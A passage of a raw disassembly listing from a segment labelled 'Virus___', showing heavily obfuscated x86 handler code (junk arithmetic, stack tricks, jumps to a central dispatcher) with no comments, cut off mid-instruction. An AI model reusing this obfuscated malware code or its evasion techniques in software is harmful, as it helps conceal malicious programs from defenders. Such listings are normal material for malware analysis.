--------------------------------------------------------------------------- loc_57369B: ; CODE XREF: Virus___:00574296j xchg ebp, [esp] jmp loc_572F1B ; --------------------------------------------------------------------------- loc_5736A3: ; CODE XREF: Virus___:0057AB89j mov ebx, [esp] add esp, 4 jmp loc_57EEAE ; --------------------------------------------------------------------------- loc_5736B1: ; CODE XREF: Virus___:0057A1E8j pop eax push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_57D29D ; --------------------------------------------------------------------------- loc_5736CA: ; CODE XREF: Virus___:00578C3Fj xor edi, 50A162D8h jmp loc_57D678 ; --------------------------------------------------------------------------- loc_5736D5: ; CODE XREF: Virus___:0057AD60j mov [esp], edx push esp mov edx, [esp] add esp, 4 add edx, 4 push ebp mov ebp, 4 add edx, ebp pop ebp push 0F3Bh jmp loc_57D948 ; --------------------------------------------------------------------------- loc_5736F8: ; CODE XREF: Virus___:00573520j push ebp push ecx mov ecx, 4 push eax mov eax, ecx mov ebp, eax mov eax, [esp] add esp, 4 pop ecx sub esi, ebp pop ebp push esi push dword ptr [esp+4] jmp loc_573DFB ; --------------------------------------------------------------------------- loc_573718: ; CODE XREF: Virus___:005789EAj push 7CD5h mov [esp], ebp mov ebp, 45744C6Ch inc ebp shr ebp, 6 dec ebp neg ebp add ebp, 115D134h add eax, ebp pop ebp xchg eax, [esp] jmp loc_57ACE5 ; --------------------------------------------------------------------------- loc_57373D: ; CODE XREF: Virus___:0057AB18j and [edi+1Ch], ebx mov ebx, [esp] push esi jmp loc_579DB4 ; --------------------------------------------------------------------------- loc_573749: ; CODE XREF: Virus___:0057D9B2j add dword ptr [esp], 4 pop ebp jmp loc_5770F5 ; --------------------------------------------------------------------------- lodsb xor al, bl push 7CF1h mov [esp], ebx push 4827h mov [esp], edx jmp loc_579C5E ; --------------------------------------------------------------------------- loc_57376B: ; CODE XREF: Virus___:0057B7D4j add al, 0AFh push bx mov bh, 0ADh sub al, bh jmp loc_57830B ; --------------------------------------------------------------------------- loc_573778: ; CODE XREF: Virus___:0057A400j mov ebx, esp push 4DD9h mov [esp], eax jmp loc_57EE7A ; --------------------------------------------------------------------------- loc_573787: ; CODE XREF: Virus___:0057E8FBj mov eax, 1B674730h not eax not eax neg eax jmp loc_57D864 ; --------------------------------------------------------------------------- loc_573797: ; CODE XREF: Virus___:0057E0E9j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57379C: ; CODE XREF: Virus___:0057AF8Aj push 0C5F121Ch pop ebp mov ebx, ebp mov ebp, [esp] push ebx jmp loc_57B974 ; --------------------------------------------------------------------------- loc_5737AD: ; CODE XREF: Virus___:00578E81j inc ah sub ah, 0D7h add dh, ah mov eax, [esp] add esp, 4 neg dh shl dh, 2 push eax mov ah, 0EDh sub dh, ah jmp loc_57EF00 ; --------------------------------------------------------------------------- loc_5737CC: ; CODE XREF: Virus___:00575214j push ecx mov cl, 0F9h jmp loc_57936A ; --------------------------------------------------------------------------- loc_5737D4: ; CODE XREF: Virus___:0057E83Cj mov edi, esp add edi, 4 jmp loc_576772 ; --------------------------------------------------------------------------- loc_5737E1: ; CODE XREF: Virus___:005747D9j mov [esp], edi mov edi, 29444B56h jmp loc_578587 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebp push esp jmp loc_576BF2 ; --------------------------------------------------------------------------- loc_5737FE: ; CODE XREF: Virus___:0057A34Bj pop edx std push 0C072079h push dword ptr [esp] jmp loc_573474 ; --------------------------------------------------------------------------- loc_57380D: ; CODE XREF: Virus___:005799C3j xchg ecx, [esp] pop esp jmp loc_572A7D ; --------------------------------------------------------------------------- loc_573816: ; CODE XREF: Virus___:0057E3EDj jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57381B: ; CODE XREF: Virus___:0057DAFCj add eax, edx pop edx push 6E18h mov [esp], ecx mov ecx, 3A6E4FE1h sub ecx, 0FFFFFFFFh push edi mov edi, 39CD2E55h or ecx, edi mov edi, [esp] jmp loc_57B961 ; --------------------------------------------------------------------------- loc_573841: ; CODE XREF: Virus___:00574182j or edx, ebp pop ebp sub edx, 72BD5C51h add edx, 0FB3EDE5Fh mov ebp, edx pop edx and eax, ebp push dword ptr [esp] mov ebp, [esp] jmp loc_57584F ; --------------------------------------------------------------------------- loc_573860: ; CODE XREF: Virus___:0057C6ECj neg ecx not ecx sub ecx, 282A2A0Dh xor ecx, 36F02B45h mov ebx, ecx pop ecx jmp loc_57A584 ; --------------------------------------------------------------------------- loc_573878: ; CODE XREF: Virus___:005749FFj sub edi, 533DFEACh mov eax, edi pop edi and ecx, eax push dword ptr [esp] pop eax jmp loc_57AD5D ; --------------------------------------------------------------------------- loc_57388C: ; CODE XREF: Virus___:0057BBF1j mov ebp, 5F4F3F9Ah push eax push edi mov edi, 0DB13D7Dh shl edi, 7 add edi, 91504BDAh jmp loc_57309E ; --------------------------------------------------------------------------- loc_5738A6: ; CODE XREF: Virus___:00575342j mov dx, [esp] add esp, 2 push 2647h mov [esp], ebx mov bl, 6 or bl, 14h shr bl, 7 sub esp, 4 mov [esp], edx push 300Fh mov [esp], ebx mov bh, 0C0h mov dl, 5Fh xor dl, bh jmp loc_57824D ; --------------------------------------------------------------------------- loc_5738D9: ; CODE XREF: Virus___:0057A25Fj push 22D7h jmp loc_574DBE ; --------------------------------------------------------------------------- loc_5738E3: ; CODE XREF: Virus___:00573188j mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], eax mov eax, 2 push edx mov edx, 4B36766Eh shl edx, 5 jmp loc_579C8B ; --------------------------------------------------------------------------- mov eax, [esp] push ecx push 0C17h mov [esp], esp push ebp push edi mov edi, 4 jmp loc_5759E6 ; --------------------------------------------------------------------------- loc_57391C: ; CODE XREF: Virus___:005749B5j mov [esp], esi push 52E2h mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop esi add esp, 4 push 2ECh mov [esp], ecx mov ecx, 4 add esi, 5B156108h add esi, ecx sub esi, 5B156108h pop ecx push edi mov edi, 2 add esi, edi pop edi xchg esi, [esp] mov esp, [esp] jmp loc_5755EB ; --------------------------------------------------------------------------- loc_573968: ; CODE XREF: Virus___:0057AB3Cj pop ecx sub esp, 4 jmp loc_57BD04 ; --------------------------------------------------------------------------- loc_573971: ; CODE XREF: Virus___:005762F8j pop esi add edx, eax mov eax, [esp] add esp, 4 add edx, 67421454h add edx, eax sub edx, 67421454h sub edx, 3F42D98h jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_573996: ; CODE XREF: Virus___:0057B308j mov eax, [esp] jmp loc_573326 ; --------------------------------------------------------------------------- loc_57399E: ; CODE XREF: Virus___:0057CF75j push 7365h mov [esp], ecx push esp pop ecx jmp loc_57BAE8 ; --------------------------------------------------------------------------- loc_5739AD: ; CODE XREF: Virus___:00576798j sub esp, 4 mov [esp], edx push ecx mov ecx, 21DD5BEDh jmp loc_576F94 ; --------------------------------------------------------------------------- push 15ABh sub esp, 4 jmp loc_5779C7 ; --------------------------------------------------------------------------- lodsd push eax mov eax, 6F681AF6h not eax add eax, 8B642EECh sub esi, eax pop eax sub esp, 4 mov [esp], ebx mov ebx, 4F02044h push ebp mov ebp, 1FB413A6h add ebx, ebp jmp loc_578F9A ; --------------------------------------------------------------------------- loc_5739F7: ; CODE XREF: Virus___:00578186j mov esi, 266F0785h jmp loc_57600E ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) ; --------------------------------------------------------------------------- add dword ptr [esp], 4 pop edx add edx, 4 push 561Ch mov [esp], edi mov edi, 9F130F7h shl edi, 8 neg edi push edx push ecx mov ecx, 424F66F1h jmp loc_57BFC7 ; --------------------------------------------------------------------------- loc_573A30: ; CODE XREF: Virus___:00577474j not ebx add ebx, 29C16CC2h add edx, ebx mov ebx, [esp] add esp, 4 add edx, 4 jmp loc_57683B ; --------------------------------------------------------------------------- loc_573A4B: ; CODE XREF: Virus___:005758F8j xor ebp, eax jmp loc_57D917 ; --------------------------------------------------------------------------- loc_573A52: ; CODE XREF: Virus___:0057682Fj add ebx, 77BC3ADBh sub ebx, 0D3C1581h add ebx, esi add ebx, 0D3C1581h sub ebx, 77BC3ADBh jmp loc_577591 ; --------------------------------------------------------------------------- loc_573A71: ; CODE XREF: Virus___:00572A15j shl edi, 7 add edi, 6B7E2E73h add ebx, 6F5705F4h sub ebx, 6E0E1D97h add ebx, edi add ebx, 6E0E1D97h sub ebx, 6F5705F4h jmp loc_57348F ; --------------------------------------------------------------------------- loc_573A99: ; CODE XREF: Virus___:005751BDj mov eax, 64C73E15h jmp loc_578850 ; --------------------------------------------------------------------------- loc_573AA3: ; CODE XREF: Virus___:00575D00j add esp, 4 xchg ebp, [esp] pop esp jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_573AAF: ; CODE XREF: Virus___:00579D8Fj push edx mov edx, 0D467BF0h shr edx, 2 neg edx xor edx, 0A4A42E00h add ecx, edx jmp loc_578CB7 ; --------------------------------------------------------------------------- loc_573AC7: ; CODE XREF: Virus___:005772E3j or ebx, 75E946E0h jmp loc_578FF7 ; --------------------------------------------------------------------------- lodsb sub al, 5Ch add al, 0DDh push ebx mov bh, 18h shl bh, 2 inc bh sub bh, 2Dh sub al, bh jmp loc_575C10 ; --------------------------------------------------------------------------- loc_573AE9: ; CODE XREF: Virus___:0057B804j pop ecx push 221Ah jmp loc_574C3C ; --------------------------------------------------------------------------- loc_573AF4: ; CODE XREF: Virus___:0057BA43j push ebp jmp loc_57A951 ; --------------------------------------------------------------------------- loc_573AFA: ; CODE XREF: Virus___:00579DECj pop ebx shl eax, 1 jmp loc_57502F ; --------------------------------------------------------------------------- loc_573B02: ; CODE XREF: Virus___:005756FCj mov [esp], ebp mov ebp, 3BA2065h xchg edi, ebp not edi xchg edi, ebp sub ebp, 8AE161E3h sub edi, 3B46ECAh sub edi, ebp add edi, 3B46ECAh jmp loc_57E3FE ; --------------------------------------------------------------------------- loc_573B29: ; CODE XREF: Virus___:0057BF6Fj add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_576E63 ; --------------------------------------------------------------------------- loc_573B3B: ; CODE XREF: Virus___:0057AB90j pop ecx xchg esi, [esp] pop esp mov [esp], ebx push esp pop ebx push ecx mov ecx, 53733AE7h sub ecx, 53733AE3h add ebx, ecx pop ecx add ebx, 4 jmp loc_5792A9 ; --------------------------------------------------------------------------- loc_573B5F: ; CODE XREF: Virus___:0057AC17j push esi mov esi, 16415DECh sub esi, 0D8AC33F0h mov edx, esi pop esi jmp loc_572B14 ; --------------------------------------------------------------------------- loc_573B73: ; CODE XREF: Virus___:005781A8j add esp, 4 add esi, 4 push esi jmp loc_57923F ; --------------------------------------------------------------------------- loc_573B7F: ; CODE XREF: Virus___:0057D7F8j pop ebx neg ebx add ebx, 5CE1219Fh push ebx mov ecx, [esp] add esp, 4 pop ebx sub ebp, ecx pop ecx jmp loc_57D403 ; --------------------------------------------------------------------------- loc_573B9B: ; CODE XREF: Virus___:00579F0Ej push edx jmp loc_575D99 ; --------------------------------------------------------------------------- loc_573BA1: ; CODE XREF: Virus___:00575890j push dword ptr [esp+4] jmp loc_5733FD ; --------------------------------------------------------------------------- loc_573BAA: ; CODE XREF: Virus___:00577EDEj mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp jmp loc_57B166 ; --------------------------------------------------------------------------- loc_573BCB: ; CODE XREF: Virus___:00577417j add edi, 4 xchg edi, [esp] mov esp, [esp] or eax, eax jz loc_579A49 push 2CD1h mov [esp], edx push esi push edi jmp loc_573DBC ; --------------------------------------------------------------------------- loc_573BEB: ; CODE XREF: Virus___:005730C5j mov eax, 2A1F1F9Ah jmp loc_57679D ; --------------------------------------------------------------------------- loc_573BF5: ; CODE XREF: Virus___:0057366Fj mov dl, 1Dh mov cl, 0DFh jmp loc_577F48 ; --------------------------------------------------------------------------- loc_573BFE: ; CODE XREF: Virus___:00576410j inc esi add esi, 237D060Fh xor esi, 39B955DEh jmp loc_57675F ; --------------------------------------------------------------------------- loc_573C10: ; CODE XREF: Virus___:00574D6Aj dec ebx neg ebx sub ebx, 0FFFFFFFFh xor ebx, 5FAB8000h sub edx, 6AF6163Dh sub edx, ebx add edx, 6AF6163Dh mov ebx, [esp] add esp, 4 xchg edx, [esp] jmp loc_57ABF8 ; --------------------------------------------------------------------------- unk_573C3B db 0 ; CODE XREF: Virus___:00579AFDj ; --------------------------------------------------------------------------- cmc pop edx sub al, ch pop ecx jmp loc_57BCB6 ; --------------------------------------------------------------------------- loc_573C46: ; CODE XREF: Virus___:0057602Dj pop edx add esp, 4 or eax, eax jnz loc_57E2C6 push eax mov eax, 1 jmp loc_577784 ; --------------------------------------------------------------------------- loc_573C60: ; CODE XREF: Virus___:0057B5F8j add edx, edi jmp loc_57C7A3 ; --------------------------------------------------------------------------- loc_573C67: ; CODE XREF: Virus___:00573118j pop dword ptr [esp] mov esp, [esp] mov eax, [esp] sub esp, 4 mov [esp], eax push esp pop eax push ecx push edi mov edi, 5A5504AFh add edi, 0DA341868h jmp loc_579768 ; --------------------------------------------------------------------------- loc_573C8D: ; CODE XREF: Virus___:0057524Dj mov edi, 59F12DAh add edi, 2E991D10h or edi, 6F7C363Eh or edi, 23575689h dec edi shr edi, 6 xor edi, 1FDFDFBh jmp loc_57A9F4 ; --------------------------------------------------------------------------- loc_573CB3: ; CODE XREF: Virus___:00579166j pop esi jmp loc_57CDBB ; --------------------------------------------------------------------------- loc_573CB9: ; CODE XREF: Virus___:005793B4j xor eax, [esp] pop esp push ecx push ebx push ecx jmp loc_572A86 ; --------------------------------------------------------------------------- loc_573CC5: ; CODE XREF: Virus___:005795B0j pop ebx dec ebp xor ebp, 2E677FE2h jmp loc_5781E5 ; --------------------------------------------------------------------------- loc_573CD2: ; CODE XREF: Virus___:0057B341j mov dh, bh mov ebx, [esp] jmp loc_57719F ; --------------------------------------------------------------------------- mov ax, fs:[edx] push 3339h jmp loc_576E29 ; --------------------------------------------------------------------------- loc_573CEA: ; CODE XREF: Virus___:0057D01Bj add bl, 0 mov ax, [esp] add esp, 2 add bl, al add bl, 0C7h push cx jmp loc_57BCD8 ; --------------------------------------------------------------------------- loc_573D03: ; CODE XREF: Virus___:0057CBA0j sub edx, 821B9A7Ch jmp loc_57ED1C ; --------------------------------------------------------------------------- loc_573D0E: ; CODE XREF: Virus___:00576AA0j mov [esp], eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 jmp loc_57A716 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5742F3 ; --------------------------------------------------------------------------- loc_573D2C: ; CODE XREF: Virus___:0057ED24j sub ebp, 5C826899h pop edx sub ebp, 4 jmp loc_57E61E ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_57D61C ; --------------------------------------------------------------------------- lodsd jmp loc_57D80F ; --------------------------------------------------------------------------- loc_573D4A: ; CODE XREF: Virus___:00579777j inc esi shl esi, 3 add esi, 3EC75EDCh sub esi, 7C8478ABh and ecx, esi jmp loc_5799A4 ; --------------------------------------------------------------------------- mov cx, [esp] push eax push esp mov eax, [esp] push ebx jmp loc_57B12B ; --------------------------------------------------------------------------- loc_573D70: ; CODE XREF: Virus___:00578873j xor eax, 7AF23308h add eax, 27C2C886h mov edx, eax pop eax jmp loc_5786BD ; --------------------------------------------------------------------------- loc_573D82: ; CODE XREF: Virus___:0057AF6Aj add edi, 35D17F15h sub edi, esi sub edi, 35D17F15h pop esi jmp loc_57AA83 ; --------------------------------------------------------------------------- loc_573D96: ; CODE XREF: Virus___:00573696j add eax, 5F21049Dh jmp loc_577C1C ; --------------------------------------------------------------------------- loc_573DA0: ; CODE XREF: Virus___:0057A63Dj or ebp, edx pop edx jmp loc_57AB1D ; --------------------------------------------------------------------------- loc_573DA8: ; CODE XREF: Virus___:005753C7j pop edx pop esi jmp loc_574F0D ; --------------------------------------------------------------------------- loc_573DAF: ; CODE XREF: Virus___:00579E5Cj not ebp xor ebp, 0CA1BBE3Ch jmp loc_57792B ; --------------------------------------------------------------------------- loc_573DBC: ; CODE XREF: Virus___:00573BE6j push 2C496AECh pop edi inc edi add edi, 362FC394h mov esi, edi pop edi jmp loc_57D0E0 ; --------------------------------------------------------------------------- loc_573DD1: ; CODE XREF: Virus___:0057E035j sub ebp, 29D43BF2h add ebp, eax add ebp, 29D43BF2h pop eax add ebp, 2 xor ebp, [esp] xor [esp], ebp jmp loc_579021 ; --------------------------------------------------------------------------- loc_573DF1: ; CODE XREF: Virus___:00572B63j add ecx, edi mov eax, [ecx] pop ecx jmp loc_577B6D ; --------------------------------------------------------------------------- loc_573DFB: ; CODE XREF: Virus___:00573713j pop esi pop dword ptr [esp] pop esp mov [esp], eax mov eax, 1 or [edi+1Ch], eax pop eax jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_573E11: ; CODE XREF: Virus___:00575F25j xor bh, 6Eh dec bh neg bh not bh neg bh jmp loc_578E75 ; --------------------------------------------------------------------------- loc_573E21: ; CODE XREF: Virus___:0057E72Aj add esp, 4 push 7049h jmp loc_57D45A ; --------------------------------------------------------------------------- loc_573E31: ; CODE XREF: Virus___:0057B95Cj sub bl, al sub bl, 78h pop eax push edx push bx mov bh, 4Ah mov dl, bh mov bx, [esp] jmp loc_576455 ; --------------------------------------------------------------------------- loc_573E47: ; CODE XREF: Virus___:0057A7C7j add al, ch jmp loc_57EAD5 ; --------------------------------------------------------------------------- loc_573E4E: ; CODE XREF: Virus___:00576AE1j sub edx, 239E0B54h add edx, ecx add edx, 239E0B54h pop ecx jmp loc_57AD8D ; --------------------------------------------------------------------------- lodsd sub esp, 4 jmp loc_57866A ; --------------------------------------------------------------------------- loc_573E6B: ; CODE XREF: Virus___:00574A4Bj pop esp dec dword ptr [esp] pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_573E75: ; CODE XREF: Virus___:0057D3E8j pop ebp neg esi jmp loc_57AAC0 ; --------------------------------------------------------------------------- loc_573E7D: ; CODE XREF: Virus___:0057365Fj mov esi, 40CF4CF1h neg esi or esi, 73610D43h xor esi, 863E01h shr esi, 7 xor esi, 1FFEF06h add eax, 16230D23h add eax, 4A0438D7h add eax, esi jmp loc_5752DF ; --------------------------------------------------------------------------- loc_573EAA: ; CODE XREF: Virus___:0057BFC2j sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], esp jmp loc_577B77 ; --------------------------------------------------------------------------- loc_573EBE: ; CODE XREF: Virus___:00572A78j push 3DD4h mov [esp], ebp jmp loc_57C680 ; --------------------------------------------------------------------------- loc_573ECB: ; CODE XREF: Virus___:0057A033j pop eax shr edx, 6 sub edx, 54175617h xor edx, 57A1681h xor edx, 0DD864831h add eax, edx pop edx jmp loc_578DBC ; --------------------------------------------------------------------------- loc_573EE9: ; CODE XREF: Virus___:00579A50j add esp, 4 push edi push esp pop edi jmp loc_575895 ; --------------------------------------------------------------------------- loc_573EF4: ; CODE XREF: Virus___:0057B12Dj add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add eax, 4 jmp loc_57DECD ; --------------------------------------------------------------------------- loc_573F0E: ; CODE XREF: Virus___:00577103j push ecx mov ecx, 3A396Ch dec ecx or ecx, 3B0D3F57h neg ecx add ecx, 0A31969CCh xor ebp, ecx pop ecx mov edx, ebp pop ebp dec edx jmp loc_577867 ; --------------------------------------------------------------------------- loc_573F2F: ; CODE XREF: Virus___:00576040j push dword ptr [edi+eax*4] sub esp, 4 mov [esp], ebp push edi jmp loc_578B35 ; --------------------------------------------------------------------------- loc_573F41: ; CODE XREF: Virus___:0057C5BEj sub ecx, 4EEA6610h add ecx, 8EC59C21h sub ebp, ecx pop ecx mov edi, ebp pop ebp sub eax, edi jmp loc_57AE9C ; --------------------------------------------------------------------------- loc_573F5A: ; CODE XREF: Virus___:0057A5D0j push edi mov edi, 7E9671Dh add edi, 0FFFFFFFFh jmp loc_575FAE ; --------------------------------------------------------------------------- loc_573F6B: ; CODE XREF: Virus___:00574066j pop ecx mov esi, edi pop edi and eax, esi push dword ptr [esp] pop esi add esp, 4 or eax, eax jz loc_577D30 sub esp, 4 mov [esp], eax push edx push 72AD1451h pop edx shl edx, 8 sub edx, 0AD1450E4h push ebx mov ebx, edx mov eax, ebx pop ebx jmp loc_575B3A ; --------------------------------------------------------------------------- loc_573FA7: ; CODE XREF: Virus___:0057B2DCj pop dx sub esp, 4 mov [esp], ecx jmp loc_579A7F ; --------------------------------------------------------------------------- loc_573FB4: ; CODE XREF: Virus___:0057CD28j pop eax shl eax, 1 sub eax, 66264257h neg eax add eax, 82079879h jmp loc_576307 ; --------------------------------------------------------------------------- loc_573FC8: ; CODE XREF: Virus___:0057E120j add dword ptr [esp], 4B64FB1h pop ebp sub ebp, 4B64FB1h pop ecx sub esi, ebp pop ebp add eax, esi pop esi sub eax, 59C23012h push edx mov edx, 7485056h xor edx, 451D7DBFh sub eax, edx pop edx sub eax, ebx add eax, 42552DE9h jmp loc_5788F0 ; --------------------------------------------------------------------------- mov ax, [esp] push ebx jmp loc_5765D1 ; --------------------------------------------------------------------------- loc_574007: ; CODE XREF: Virus___:005744BBj sub ecx, 15A53F83h pop ebx rep movsd add esp, [edx+38h] push ebx mov ebx, 38h jmp loc_57308B ; --------------------------------------------------------------------------- loc_57401E: ; CODE XREF: Virus___:00579831j or edx, eax shl edx, 1 jmp loc_574687 ; --------------------------------------------------------------------------- loc_574027: ; CODE XREF: Virus___:00579E28j add cl, 0C7h and al, cl pop ecx sub esp, 4 mov [esp], esi push 168Ch mov [esp], esp jmp loc_5757D8 ; --------------------------------------------------------------------------- loc_574040: ; CODE XREF: Virus___:0057A8D5j mov eax, 4 mov esi, eax pop eax push eax jmp loc_57B3E5 ; --------------------------------------------------------------------------- loc_57404E: ; CODE XREF: Virus___:00573130j mov ebp, esp push 1F3Dh mov [esp], edi push ebp jmp loc_57B7BA ; --------------------------------------------------------------------------- loc_57405E: ; CODE XREF: Virus___:00576654j xor ecx, 8D2E1DD9h add edi, ecx jmp loc_573F6B ; --------------------------------------------------------------------------- loc_57406B: ; CODE XREF: Virus___:00578F24j mov edi, 4 add edx, 22EF4854h add edx, edi jmp loc_57A0EB ; --------------------------------------------------------------------------- loc_57407D: ; CODE XREF: Virus___:0057BE71j push 518Dh mov [esp], eax mov eax, ebp mov edx, eax pop eax jmp loc_57D0F1 ; --------------------------------------------------------------------------- loc_57408F: ; CODE XREF: Virus___:0057ABCCj push 5B50h mov [esp], eax jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57409C: ; CODE XREF: Virus___:00578038j push dword ptr [esp+4] jmp loc_57C1C3 ; --------------------------------------------------------------------------- loc_5740A5: ; CODE XREF: Virus___:0057DEFBj mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 add ebp, 5B323FF0h sub ebp, 60742742h add ebp, ecx jmp loc_57D6A8 ; --------------------------------------------------------------------------- loc_5740CA: ; CODE XREF: Virus___:00577713j push esp pop esi push edi jmp loc_5748C7 ; --------------------------------------------------------------------------- loc_5740D2: ; CODE XREF: Virus___:0057EE20j push dword ptr [esp] pop edx add esp, 4 push ecx jmp loc_574C84 ; --------------------------------------------------------------------------- loc_5740E2: ; CODE XREF: Virus___:0057EA5Cj mov [esp], ecx jmp loc_578C58 ; --------------------------------------------------------------------------- loc_5740EA: ; CODE XREF: Virus___:0057879Bj pop edi push edx jmp loc_574887 ; --------------------------------------------------------------------------- loc_5740F1: ; CODE XREF: Virus___:0057B2A0j push ebx jmp loc_575F23 ; --------------------------------------------------------------------------- loc_5740F7: ; CODE XREF: Virus___:005732B1j add ebp, 5C847326h sub ebp, ebx jmp loc_57E98C ; --------------------------------------------------------------------------- loc_574104: ; CODE XREF: Virus___:00578D7Cj not edx jmp loc_577A7F ; --------------------------------------------------------------------------- loc_57410B: ; CODE XREF: Virus___:0057ED17j pop ecx add edx, ebp pop ebp push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] inc dword ptr [esp] pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_574129: ; CODE XREF: Virus___:005773B5j jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_57412E: ; CODE XREF: Virus___:00574E62j pop ebx xor al, ch mov ecx, [esp] push 0B82h mov [esp], eax mov eax, esp jmp loc_577D45 ; --------------------------------------------------------------------------- loc_574143: ; CODE XREF: Virus___:0057ECB8j mov al, 0D0h jmp loc_57B37A ; --------------------------------------------------------------------------- loc_57414A: ; CODE XREF: Virus___:0057B2E6j xor dh, al pop ax sub esp, 4 mov [esp], ecx mov cl, 0B1h xor dh, cl pop ecx jmp loc_577C4F ; --------------------------------------------------------------------------- loc_57415E: ; CODE XREF: Virus___:00577ABBj push esp jmp loc_5751FE ; --------------------------------------------------------------------------- loc_574164: ; CODE XREF: Virus___:0057BF40j push ebp mov ebp, 79434F23h add ebp, 2F166870h xor ebp, 77EA1179h add ebp, 528324D3h add ebp, 2E259D15h jmp loc_573841 ; --------------------------------------------------------------------------- loc_574187: ; CODE XREF: Virus___:0057B672j pop ebx pop ebx sub bl, 8Bh add bl, 7Bh add bl, 0DBh add bl, 10h add bl, al sub bl, 10h push small 1587h mov [esp], dx mov dh, 0DBh sub bl, dh pop dx sub bl, 7Bh push edx push 6BDCh mov [esp], ebx mov bh, 8Bh mov dh, bh pop ebx sub bl, 49h add bl, dh jmp loc_57E6BE ; --------------------------------------------------------------------------- loc_5741C3: ; CODE XREF: Virus___:00572D3Fj add eax, ebp pop ebp jmp loc_57E060 ; --------------------------------------------------------------------------- loc_5741CB: ; CODE XREF: Virus___:00576E00j add eax, ebx add eax, 76BD0E98h add eax, 2DC97F91h pop ebx push ebp mov ebp, 2 sub eax, ebp jmp loc_57C1E0 ; --------------------------------------------------------------------------- loc_5741E5: ; CODE XREF: Virus___:0057DA07j pop edx jmp loc_57D225 ; --------------------------------------------------------------------------- loc_5741EB: ; CODE XREF: Virus___:005787E2j pop ecx jmp loc_57CF60 ; --------------------------------------------------------------------------- lodsd push edi push ebp push 0E703795h pop ebp xchg ecx, ebp not ecx xchg ecx, ebp and ebp, 0E421A2Fh add ebp, 0FFFFFFFFh jmp loc_57C5B0 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_574220: ; CODE XREF: Virus___:0057A5D7j pop ebx add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp jmp loc_575B49 ; --------------------------------------------------------------------------- loc_574236: ; CODE XREF: Virus___:00577CAEj push 2F9F2593h pop ebp sub ebp, 17361E74h mov edi, ebp pop ebp push edi pop eax mov edi, [esp] push edi mov edi, esp jmp loc_578F02 ; --------------------------------------------------------------------------- loc_574252: ; CODE XREF: Virus___:0057A87Ej add ebp, 6F1133CCh add ebp, ebx jmp loc_576910 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_57EBEE ; --------------------------------------------------------------------------- loc_574267: ; CODE XREF: Virus___:00579AE8j mov esi, 4D9A6B79h neg esi jmp loc_57539B ; --------------------------------------------------------------------------- loc_574273: ; CODE XREF: Virus___:005743A1j add eax, ebx sub eax, 416656B2h add eax, 3CD01146h sub eax, 2D0B750Ah mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_57369B ; --------------------------------------------------------------------------- loc_57429B: ; CODE XREF: Virus___:00578D72j mov ebx, [esp] add esp, 4 mov ecx, [esp] add esp, 4 push edx mov edx, 4 add ecx, edx pop edx add ecx, 2 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_57A9C9 ; --------------------------------------------------------------------------- loc_5742C4: ; CODE XREF: Virus___:0057E443j xchg ebp, [esp] pop esp push dword ptr [eax] jmp loc_5729F6 ; --------------------------------------------------------------------------- loc_5742CF: ; CODE XREF: Virus___:0057B21Dj sub eax, 4 xchg eax, [esp] pop esp jmp loc_578F29 ; --------------------------------------------------------------------------- loc_5742DD: ; CODE XREF: Virus___:00579780j pop eax neg dl push eax jmp loc_57DC49 ; --------------------------------------------------------------------------- loc_5742E6: ; CODE XREF: Virus___:0057A305j push ebp mov ebp, 4 add eax, ebp jmp loc_57BA31 ; --------------------------------------------------------------------------- loc_5742F3: ; CODE XREF: Virus___:00573D27j push 254Fh mov [esp], ebp mov ebp, esp push eax mov eax, 2F01683Dh shl eax, 2 push ebp mov ebp, 26562D0h push ecx mov ecx, 7E8515FCh jmp loc_57E9FE ; --------------------------------------------------------------------------- loc_574317: ; CODE XREF: Virus___:0057950Cj sub ebp, 7F1C2E6Fh sub ebp, 78C313Ah add ebp, edi add ebp, 78C313Ah add ebp, 7F1C2E6Fh mov edi, [esp] jmp loc_57EF3F ; --------------------------------------------------------------------------- mov cx, [esp] push ebp push 0E5Ch push 6788h jmp loc_57D9A5 ; --------------------------------------------------------------------------- loc_57434D: ; CODE XREF: Virus___:0057C1DBj shr byte ptr [esp], cl pushf jmp loc_577C61 ; --------------------------------------------------------------------------- loc_574356: ; CODE XREF: Virus___:0057E0B4j sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx jmp loc_57DCB5 ; --------------------------------------------------------------------------- loc_574385: ; CODE XREF: Virus___:0057ECD3j pop esp jmp loc_574ECC ; --------------------------------------------------------------------------- loc_57438B: ; CODE XREF: Virus___:0057E87Dj xor ebp, 951615F0h mov ecx, ebp pop ebp add eax, ecx pop ecx sub eax, 3CD01146h add eax, 416656B2h jmp loc_574273 ; --------------------------------------------------------------------------- loc_5743A6: ; CODE XREF: Virus___:00573164j xor ebp, 